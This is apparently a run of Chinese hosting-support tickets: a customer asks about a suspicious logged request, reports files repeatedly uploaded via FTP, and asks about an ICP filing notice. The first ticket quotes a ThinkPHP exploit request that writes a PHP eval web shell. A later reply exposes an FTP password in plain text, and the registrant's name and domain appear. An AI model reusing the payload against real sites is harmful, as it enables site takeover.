問:Request: /portal.php?s=index/\\think\\template\\driver\\file/write&cacheFile=robots1.php&content=xbshell<?php%20@eval($_POST[]);?>,檢測出這個(gè)有風(fēng)險(xiǎn)嗎?
答:您好,
ErrorLog.php應(yīng)該是程序自動(dòng)記錄的錯(cuò)誤日志文件,里面記錄了訪問有異常的url地址。
/portal.php?s=index/\\think\\template\\driver\\file/write&cacheFile=robots1.php&content=xbshell<?php%20@eval($_POST[]);?> 這個(gè)地址的確有問題,應(yīng)該是在對(duì)網(wǎng)站進(jìn)行注入和掃描。
但是并不代表這是后門文件,請(qǐng)知曉。
非常感謝您對(duì)我司的支持,謝謝!
問:嚇我一跳 以為又被注入了 應(yīng)該開啟防篡改再起作用 謝謝了
答:您好,
客氣,您再觀察一下。
非常感謝您對(duì)我司的支持,謝謝!
問:用戶:為什么我文件老是被修改了,是被攻擊了嗎?能換一臺(tái)嗎?“1.jpg”這個(gè)圖片不是我上傳了。。。
請(qǐng)問是虛擬主機(jī)的問題嗎?
問:這是用戶發(fā)給我的截圖
答:您好,通過文件管理日志查看是這個(gè)ip:127.0.0.1 通過主機(jī)管理的文件管理上傳的,請(qǐng)核實(shí)下主機(jī)的ftp賬號(hào)密碼是否透露給其他人了,可以修改下ftp登錄密碼觀察,非常感謝您長期對(duì)我司的支持!
問:
問:又被上傳了,那個(gè)人換IP做的。。。
問:那個(gè)人在 12:11:33 以 127.0.0.1 這個(gè)IP也操作過的
答:您好,這個(gè)ftp密碼:********** 一串?dāng)?shù)字的過于簡單了,這邊將ftp密碼修改成了:shak@Hks
127.0.0.1這個(gè)ip也屏蔽了,您再觀察下,非常感謝您長期對(duì)我司的支持!
問:在你答復(fù)工單后,127.0.0.1這個(gè)IP又操作過,什么情況?
問:他又上傳了,請(qǐng)認(rèn)真檢查下,到底什么情況
問:反復(fù)被人改寫和刪除文件。。。用戶已經(jīng)不耐煩了,將該站點(diǎn)換到別的服務(wù)器能不能解決這個(gè)問題?
問:對(duì)方又換成127.0.0.1來操作了,沒完沒了啦。。。將該站點(diǎn)換到別的服務(wù)器能不能解決這個(gè)問題?
答:您好,已電話聯(lián)系您了,現(xiàn)在已經(jīng)更換了到其他服務(wù)器上了,您再重新上傳下用戶程序觀察下,非常感謝您長期對(duì)我司的支持!
問:尊敬的用戶:,您好!您的主辦單位/主辦人名稱是:李鑫您的網(wǎng)站備案號(hào)(冀ICP備號(hào)-1),域名:renwufang.com 被檢出:網(wǎng)站未按工信部要求,在網(wǎng)頁首頁底部正確放置備案號(hào)并鏈接至工信部備案系統(tǒng)網(wǎng)址(https://beian.miit.gov.cn/);已多次通過郵件、短信等方式通知,目前網(wǎng)頁仍未完成整改;依據(jù)《非經(jīng)營性互聯(lián)網(wǎng)信息服務(wù)備案管理辦法》第二十五條規(guī)定,未按要求放置備案號(hào)的,將由住所所在地 通信管理局責(zé)令改正,并處5千元以上1萬元以下罰款,并取消備案;
收到了上面的信息,但是我的域名沒有用,沒有任何解析。
答:您好,
1.已備案通過的域名必須啟用起來,并在網(wǎng)站底部放置正確的網(wǎng)站備案編號(hào)并鏈接至工信部備案網(wǎng)址;備案后不使用的域名,備案號(hào)會(huì)被注銷收回;
2.請(qǐng)確認(rèn)域名是否在使用;若需使用并保留備案,請(qǐng)及時(shí)開啟可訪問,網(wǎng)頁內(nèi)容與備案主辦者相符,底部放置正確的備案號(hào)并鏈接工信部網(wǎng)址;若無法訪問,后期備案號(hào)可能會(huì)被注銷收回的;
非常感謝您長期對(duì)我司的支持.由此給您帶來的不便之處,敬請(qǐng)?jiān)?謝謝!